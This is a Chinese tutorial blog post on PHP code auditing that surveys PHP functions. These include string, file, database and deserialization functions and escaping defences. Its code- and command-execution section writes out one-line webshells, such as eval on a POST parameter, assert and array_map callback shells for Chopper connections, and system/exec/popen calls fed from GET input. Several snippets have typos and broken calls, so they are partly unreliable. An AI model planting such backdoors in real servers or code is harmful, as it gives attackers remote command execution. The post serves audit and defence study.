PHP代码审计2—相关函数介绍

一、字符串处理相关函数

  • 函数1:substr()

    作用:从一个字符串中的指定位置截取出一个指定长度的子字符串,
    示例:echo substr('123456789',4,4)     //5678
    
  • 函数2:strlen()

    作用:获取一个字符串的长度
    示例: echo strlen('123456')   //6
    
  • 函数3:strrchr()

    作用:查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。通常用作获取文件后缀名
    示例:echo strrchr('testFileName.php.jpg.excel','.')   //excel
    
  • 函数4: strtolower ()

    作用:将字符串中的所有字符转换为小写,与之对应的strtoupper则是转换为大写
    示例:echo  strtolower('ABCDerfgth')   //abcderfgth
    
  • 函数5:trim()

    作用:去掉字符两边的字符,默认移除 " "、“\t","\n","\r","\x0B","\0"
    示例:echo trim('     abbbbbbbcccccca\r\n')   //abbbbbbbcccccca
    
  • 函数6: strpos ()

    作用:从字符串中查找某个字符出现的位置(返回该字符的数字下标),从最左开始,与之对应的strrpos()函数则是从右侧开始查找
    示例:echo strpos('hello,life is alive,life is beautiful!!','life') //6
    

二、变量类型处理相关函数

  • 函数1:getype()

    作用:获取变量的类型
    示例: echo gettype('123')    //string
    
  • 函数2: isset()

    作用:检测变量是否被设置
    示例: var $a; echo isset($a);  // TRUE
    
  • 函数3:is_null()

    作用:检测函数是否为空
    示例: Var $a='123'; echo is_null($a)    // False
    
  • 函数4:empty()

    作用:判断变量是否为空,当变量存在并且是一个非空非零的值时返回 FALSE 否则返回 TRUE.值得注意的是,empty() 并不会产生警告,哪怕变量并不存在。 这意味着 empty() 本质上与 !isset($var) || $var == false 等价。
    示例: var $a=0; echo empty($a)     //TRUE
    
  • 函数5:is_string(),is_int(),is_float(),is_bool()

    作用:检测变量是否是字符串、整形、float型、布尔型
    
  • 函数6:var_dump()

    作用:打印变量的详细信息,包括变量类型和变量值
    示例:var $a='123'; var_dump($a); //string('123')
    
  • 函数7:unset()

    作用:销毁变量
    

三、文件处理相关函数

  • 函数1:basename(string $path [string $suffix])

    作用:返回路径中的文件名部分
    示例1echo basename("/var/www/html/index.php")   //index.php
    示例2echo basename("/var/www/html/index.php",".php")  //index 
    
  • 函数2:dirname(string $path)

    作用:返回文件的路径
    echo dirnamr(var/www/html/index.php")   //var/www/html
    
  • 函数3:pathinfo(string $path [string $option])

    作用:返回文件的关联信息,包括dirname,basename,extension,filename。其中option为可选项,可选项为:PATHINFO_DIRNAMEPATHINFO_BASENAMEPATHINFO_EXTENSION,如果设置了,则只输出对应选项的关联信息。
    示例1echo pathinfo('var/www/html/index.php'PATHINFO_EXTENSION) //php
    示例2echo pathinfo('var/www/html/index.php'); 结果如下:
    /*array
      'dirname' => string 'var/www/html' (length=12)
      'basename' => string 'index.php' (length=9)
      'extension' => string 'php' (length=3)
      'filename' => string 'index' (length=5)
    */
    
  • 函数4:filetype(string $filename)

    作用:返回指定文件或目录的类型。如果成功,该函数返回 7 种可能的值之一。如果失败,则返回 FALSE。可能的返回结果有如下7种:fifo,char,dir,block,link,file,unknown
    示例:echo filetype("123.php")   //file
    
  • 函数5:filesize(string $filenmae)

    作用:输出文件的大小,如果成功,该函数返回文件大小的字节数。如果失败,则返回 FALSE
  • 函数6:fopen(string $filename,mode,include_path,context)

    作用:打开文件或者URL
    关于mode:
    	'r':只读方式打开,文件指针指向文件头
    	'r+':读写方式打开,文件指针指向文件头
    	'w':写入方式打开,清除文件内容,如果文件不存在则创建
    	'W+':读写方式打开,清除文件内容,如果文件不存在则创建
    	'a':写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建
    	'a+':读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容
    	'x':创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误
    	'x+':创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误
    关于include_path:可选项,如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'
    关于Context:可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项
    
    注释:当书写一个文本文件时,请确保您使用了正确的行结束符! 在 Unix 系统中,行结束符为 \n;在 Windows 系统中,行结束符为 \r\n;在 Macintosh 系统中,行结束符为 \r。Windows 系统中提供了一个文本转换标记 "t" ,可以透明地将 \n 转换为 \r\n,为了使用这些标记,请使用 "b" 或者 "t" 来作为 mode 参数的最后一个字符。
    示例: $file=fopen('/var/wwww/html/index.txt','at')
    
  • 函数7:file(path,include_path,context)

    作用:将文件按行读入数组中,包括换行符
    关于参数:
    	path:必须,文件路径
    	include_path:可选
    	context:可选
    示例:print_r(file("test.txt"));结果如下:
    Array
    (
    [0] => Hello World. Testing testing!
    [1] => Another day, another line.
    )
    
  • 函数8:file_exists ( string $filename )

    作用:检查文件或者目录是否存在
    
  • 函数9:is_file(string $filename)

    作用:判断指定的文件是否为常规文件
    注意:注释:该函数的结果会被缓存。请使用 clearstatcache() 来清除缓存。
    
  • 函数10:fclose()

    作用:关闭一个已经打开的文件指针,通常与fopen共用
    示例:
    $file = fopen("test.txt","a");
    fclose($file);
    
  • 函数11:include(),require(),include_once(),require_once()

    作用:包含文件,如果要包含远程文件,需要在php.ini中配置:allow_url_include= on
    区别:
    	require 生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。require 在一开始就加载
    	include 生成一个警告(E_WARNING),在错误发生后脚本会继续执行。incluce 在用到时加载。
    	_once 后缀表示已加载的不加载
    

四、代码执行与命令执行相关函数

1、代码执行函数

  • 函数1:eval(string $phpCode)

    作用:将字符串当作PHP代码来执行,常见的用法就是一句话木马。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
    示例:<?php @eval($_POST['cmd']); ?>
    
  • 函数2:assert()

    作用:与eval类似,字符串被 assert() 当做 PHP 代码来执行,但是只能执行一行代码,而eval能执行多行代码。但是在php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
    php7的示例demo: <?php$a='assert'; $b=$_GET['cmd']; $a(system($b));?>
    
  • 函数3:preg_replace()

    作用: 函数执行一个正则表达式的搜索和替换
    语法:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    语法翻译过来就是:preg_replace (正则表达式, 替换成什么东西, 目标字符串, 最大替换次数【默认-1,无数次】, 替换次数)
    执行代码示例: preg_replace('/(.*)/ei', 'strtolower("\\1")', ${
          
          phpinfo()});
    关于preg_replace()能执行代码的几个关键点:
    	1/e修饰符必不可少
    	2、你必须让 subject 中有 pattern 的匹配
    	3PHP版本在5.5-5.6,后续版本删除了/e修饰符,则不能执行代码
    	4、满足可变变量的条件:也就是双引号里面如果包含有变量,php解释器会将其替换为变量解释后的 结果比如说 'strtolower("\1")'
    对于该函数详见文末参考资料。
    
  • 函数4:create_function()

    作用:根据传递的参数创建匿名函数,并为其返回唯一名称。
    语法:create_function(string $args,string $code)
    参数解析:
    	1string $args 声明的函数变量部分
    	2string $code 执行的方法代码部分
    示例分析:
    	$newfunc = create_function('$a, $b', 'return "$a + $b = " . ($a + $b);');
    	echo $newfunc(3,4);
    	//输出结果 3 + 4 = 7
    	//可见,第一个参数是匿名函数的参数名,第二个参数是函数里面的逻辑代码
    
  • 函数5:array_map()

    作用:将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    命令执行示例:
        #命令执行shell.php?func=system cmd=whoami
        #菜刀连接shell.php?func=assert 密码:cmd 数据传输方式:POST
        $func=$_GET['func'];
        $cmd=$_POST['cmd'];
        $array[0]=$cmd;
        $new_array=array_map($func,$array);
        echo $new_array;
    木马示例 array_map() 一句话木马示例:
      array_map('assert',array($POST['a']))array_map($GET['func'],array($_POST['a']))//菜刀连接shell.php?func=assert 密码:a
    
  • 函数6:call_user_func()

    语法:call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
    作用:将第一个参数当做回调函数进行调用。
    代码执行示例:
    <?php
       function test($a){
          
           system($a);}
       call_user_func('a',$_POST['cmd']); 
    ?>
    
    
  • 函数7:call_user_func_array()

    call_user_func()函数类似,只不过回调函数传入的参数,使用数组来进行传递,这样对于参数传递过程更加清晰
    示例:
    <?php
      function test($a){
          
           system($a);}
      call_user_func('a',array($_POST['cmd']); 
    ?>
    
  • 函数8:array_filter()

    作用:用回调函数处理数组中的各个元素。重点在于过滤(而不是新增)某个元素,当你处理到一个元素时,如果返回了false,那么这个元素将会被过滤掉。值得之一的是,被处理后的array会保留原来的索引。
    语法:array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
    使用示例:
    //shell.php?func=system&cmd=your_cmd
    $array=array($_GET['cmd']);
    $func=$_GET['func'];
    array_filter($array,$func)
    
  • 函数9:usort(),uasort()

    作用:
    	1、usort通过用户自定义函数对数组进行排序
    	2、uasort使用用户自定义函数对数组中的值进行排序并保持索引关联
    使用示例:
    	$array=array($_GET['cmd'],'test');
    	usort($array,'system');
    

2、命令执行函数

  • 函数1:system()

    作用:执行系统命令,并将执行结果输出,只输出正确的结果,错误结果不输出。
    示例:$cmd=$_GET['cmd']; system($cmd);   //?cmd=your_cmd
    
  • 函数2:exec()

    语法:string exec ( string $command [, array &$output[, int &$return_var]] )
    作用:执行命令,但无输出,可以指定output参数,会使用返回结果填充output;如果output参数中已经有元素,exec()会在output后面追加,output参数的返回结果是一个数组。
    使用示例:
    //shell.php?cmd=your_cmd
     $cmd=$_GET['cmd'];
     exec($cmd,$res);
     var_dump($res);
    
  • 函数3:shell_exec()

    作用:执行系统命令,但不会有任何返回结果
    
  • 函数4:passthru()

    作用:运行外部程序,并在屏幕上显示结果,类似于system(),对于错误的结果并不会输出。
    
  • 函数5:popen()

    作用:打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。此指针可以用于fgets()fgetss()fwrite()
    语法:resource popen ( string $command , string $mode )
    使用示例:
        $cmd=$_GET['cmd'];  
    	$fp=popen($cmd, 'r');   //执行命令并创建一个输出文件指针
    	echo fread($fp,1024);   //读取指针中指向的文件内容,读取1024字节
    	pclose($fp);            //关闭文件指针
    
  • 函数6:proc_oprn()

    作用:执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
    语法:resource proc_open (string $cmd ,array $descriptorspec ,array &$pipes [, string $cwd [, array $env [, array $other_options ]]])
    示例:
        $cmd = $_GET['cmd'];
        $array = array(array("pipe","r"),    //标准输入内容
                       array("pipe","w"),    //标准输出内容  
                       array("pipe","w")     //标准输出错误  
                       );
        $fp = proc_open($cmd,$array,$pipes);   //打开一个进程通道  
        echo stream_get_contents($pipes[1]);  //为什么是$pipes[1],因为1是输出
        proc_close($fp);     //打开一个进程后,使用结束必须关闭,否则容易造成死锁
    

五、数据库操作相关函数

  • 函数1:mysql_connect()

    作用:函数开始一个对指定主机上的MySQL数据库的连接。若该数据库位于一个不同地端口,则在主机名后加上冒号和端口号。所有参数均为可选的,缺省情况下分别对应为本地主机、用户正在执行的脚本名和空。主机可以是IP地址或域名。
    语法:integer mysql_connect($host,$user,$passwd);
    
  • 函数2:mysql_select_db()

    作用:选择缺省数据库。
    语法:boolean mysql_select_db($db_name,$connect);
    
  • 函数3:mysql_query()

    作用:对指定数据库进行查询。如果SQL语句是select,则返回一个结果号,否则返回的值可以不理会。如果失败,返回false.。
    语法:integer mysql_query($sql,$connect)
    
  • 函数4:mysql_fetch_array()

    作用:取出下一行,返回一个数组.可以用数字下标访问(第一个字段是下标 0),也可以用字符串下标访问(即使用各字段名)。如已取了最后一行,返回 false。。
    语法:array mysql_fetch_array($result)
    
  • 函数5:mysql_feetch_row()

    作用:返回一个矩阵代表结果集中一行的所有域。每次调用都会产生下一行,直到没有行剩下时返回false。每个域值都由一个从零开始的偏移量索引。这是从查询中获取结果的最快方法。
    
  • 函数6:mysql_num_rows)

    作用:返回查询结果中的行的数目
    语法:integer mysql_num_rows($result);
    
  • 函数7:mysql_close()

    作用:关闭数据库连接
    

六、数据输出相关函数

数据输出函数往往和XSS漏洞相关,如果输出的数据没有被过滤则可能导致XSS漏洞存在。PHP中常用的输出法术如下:

  • 函数1:echo()

    解析:echo() 函数实际不是一个函数,所以您不必对它使用括号。然而,如果您希望向 echo() 传递一个以上的参数,使用括号将会生成解析错误。
    语法:echo "Hello world!";
    
  • 函数2:var_dum()

    解析:用于输出变量的相关信息,函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
    
  • 函数3:printf()

    解析:输出格式化的字符串:
    示例:
    	$number = 9;
    	$str = "北京";
    	printf("在%s有 %u 百万辆自行车。",$str,$number);
    
  • 函数4:print()

    解析:输出一个或多个字符串。print() 函数实际不是一个函数,所以您不必对它使用括号。
    语法:print "hello word!!!"
    
  • 函数5:die()

    解析:函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。
    示例:
    	$site = "http://www.w3school.com.cn/";
    	fopen($site,"r")
    	or die("Unable to connect to $site");
    

七、反序列化相关函数

首先说说序列化与反序列化:

在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。简单点讲序列化就是把一个对象变为可以传输的字符串,而反序列化就是把字符换换原为对象。

关于序列化与反序列化,函数主要就是两个:serialize()和onserialize()

  • 函数1:serialize()

    <?php
      class A{
          var $test = "demo";
      }
      $a = new A();  // 生成a对象
      $b = serialize($a);  // 序列化a对象为b
      print_r($b);   // 
    

    上面的示例代码就是一个简单的序列化的过程,经过序列化输出后的值为: O:1:“A”:1:{s:4:“test”;s:4:“demo”;}

  • 函数2:onserialize()

     <?php
      class A{
          var $test = "demo";
          function __destruct(){
                  echo $this->test;
          }
      }
      $a = $_GET['test'];
      $a_unser = unserialize($a);
      ?>
    

    再来看看这个例子,我们如果传入的参数test的值为:O:1:“A”:1:{s:4:“test”;s:5:“hello”;} ,那么我们反序列化后在脚本运行结束时就会调用_destruct函数(PHP魔法函数,进行序列化或反序列化是会自动调用),同时会覆盖test变量,使test变量的值变为hello,从而输出hello。

上面说到了PHP的魔法函数,其实魔术函数就是在执行一个对象的序列化和反序列化的时候来进行调用的,当执行序列化相关操作是,如果检测到类中存在魔法函数,就会在响应的操作完成之后或操作之前调用魔法函数。具体情况如下:

  • 函数1: __construct()

     实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。
    
  • 函数2: __destruct()

    当删除一个对象或对象操作终止时被调用。
    
  • 函数3: __call()

    对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
    
  • 函数4: __get()

    读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
    
  • 函数5: __set()

     设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
    
  • 函数6: __toString()

      打印一个对象的时被调用。如echo obj;
    
  • 函数7: __clone()

       克隆对象时被调用。如:t1=clone $t;
    
  • 函数8: __sleep()

     serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。
    
  • 函数9: __wakeup()

    unserialize时被调用,做些对象的初始化工作。
    
  • 函数10: __isset()

      检测一个对象的属性是否存在时被调用。如:isset($c->name)。
    
  • 函数11: __unset()

     unset一个对象的属性时被调用。如:unset($c->name)。
    
  • 函数12: __set_state()

     调用var_export时,被调用。用__set_state的返回值做为var_export的返回值。
    
  • 函数13: __autoload()

     实例化一个对象时,如果对应的类不存在,则该方法被调用。
    

八、安全防御相关函数

  • 函数1: mysql_real_escape_string()

    解析:会对一些例如单引号、双引号、反斜杠等特殊字符添加一个反斜杠以确保在查询这些数据之前,用户提供的输入是干净的。但要注意,你是在连接数据库的前提下使用这个函数。
    
  • 函数2:mysql_escape_string()

    解析:本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。
    不过无论是 mysql_real_escape_string() 还是mysql_escape_string(),都不是防御SQL注入的最佳方案,目前来说,使用PDO来操作数据库,才是安全的防御SQL注入的好方法。
    
  • 函数3:addslashes()

    解析:这个函数的原理跟mysql_real_escape_string()相似。但是当在php.ini文件中,“magic_quotes_gpc“的值是“on”的时候,就不要使用这个函数。magic_quotes_gpc 的默认值是on,对所有的 GETPOSTCOOKIE 数据自动运行 addslashes()。如果对已经转义过的数据再次使用该函数,则会造成二次转义,为了避免这种情况,可以使用get_magic_quotes_gpc()函数来确定它是否开启。
    
  • 函数4: htmlentities()

    这个函数对于过滤用户输入的数据非常有用。它会将一些特殊字符转换为HTML实体。例如,用户输入<时,就会被该函数转化为HTML实体<&lt),输入>就被转为实体&gt.
    
  • 函数5: htmlspecialchars()

    HTML中,一些特定字符有特殊的含义,如果要保持字符原来的含义,就应该转换为HTML实体。这个函数会返回转换后的字符串。作用类似与htmlentities().
    
  • 函数6: strip_tags()

    这个函数可以去除字符串中所有的HTML,JavaScript和PHP标签,当然你也可以通过设置该函数的第二个参数,让一些特定的标签出现。
    
  • 函数7:urldecode()

    进行URL解码,解码给出的已编码字符串中的任何 %##。 加号('+')被解码成一个空格字符。
    注意:超全局变量 $_GET$_REQUEST 已经被解码了。对 $_GET$_REQUEST 里的元素使用 urldecode() 将会导致不可预计和危险的结果。
    
  • 函数8:escapeshellarg()

    Linux:对传入的字符串用一对单引号包围,将内容的'先用反斜杠转义,再添加一对单引号包围,即单引号会被转义为'\''
    Windows:对传入的字符串用一对双引号包围,将内容的"%!以空格替换
    

九、参考资料

猜你喜欢

转载自blog.csdn.net/qq_45590334/article/details/125440332